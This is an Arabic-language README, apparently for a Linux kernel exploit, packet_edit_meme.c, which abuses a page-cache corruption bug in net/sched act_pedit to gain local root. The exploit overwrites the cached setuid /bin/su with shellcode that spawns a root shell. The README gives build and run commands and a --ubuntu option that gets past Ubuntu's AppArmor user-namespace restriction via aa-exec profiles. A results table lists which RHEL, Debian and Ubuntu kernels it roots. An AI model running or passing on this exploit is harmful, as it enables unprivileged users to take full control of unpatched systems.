
PACKET_EDIT_MEME.c (المعروف أيضًا باسم CVE-2026-46331): كابوس آخر من كوابيس تسميم ذاكرة التخزين المؤقت للصفحات
net/sched act_pedit تلف جزئي في ذاكرة التخزين المؤقت للصفحات بنمط COW (الجاني 899ee91156e5،
موجود منذ v5.18 .. أُصلح في v7.1-rc7). يحوّل packet_edit_meme.c هذا إلى
جذر محلي غير مميز: عملية فرعية تمتلك userns مع صلاحية CAP_NET_ADMIN تستبدل
إدخال ELF المخبأ لـ /bin/su ذي صلاحيات setuid-root بـ shellcode التالية: setgid(0)+setuid(0)+execve("/bin/sh").
make
./packet_edit_meme
./packet_edit_meme --ubuntu # AppArmor-gated Ubuntu: aa-exec bypass first
| التوزيعة | النواة | العلامة | النتيجة |
|---|---|---|---|
| RHEL 10.0 | 6.12.0-228.el10 | (none) | ROOT |
| Debian 13 trixie | 6.12.90+deb13.1 | (none) | ROOT |
| Ubuntu 24.04.4 | 6.17.0-22 | --ubuntu | ROOT |
| Ubuntu 26.04 | 7.0.0-14-generic | --ubuntu | FAIL |
RHEL / Debian: userns غير المميزة مفتوحة افتراضيًا، لا حاجة لأي علامة. لا تتضمن RHEL
cls_basic / em_meta، لذا تعود الآلية البدائية إلى matchall تلقائيًا.
تمنع Ubuntu إنشاء userns غير مميز وغير مقيد عبر إعدادَي sysctl التاليين:
kernel.apparmor_restrict_unprivileged_userns # denies unconfined userns creation
kernel.apparmor_restrict_unprivileged_unconfined # forces unconfined change_profile to STACK,
# so an aa-exec permissive profile cannot
# shed the userns restriction
--ubuntu يعيد التنفيذ عبر aa-exec -p {trinity,chrome,flatpak} (ملفات تعريف تحمل
قاعدة userns,).
24.04.4 : userns=1, unconfined=0 -> aa-exec bypass WORKS
26.04 : userns=1, unconfined=1 -> aa-exec bypass CLOSED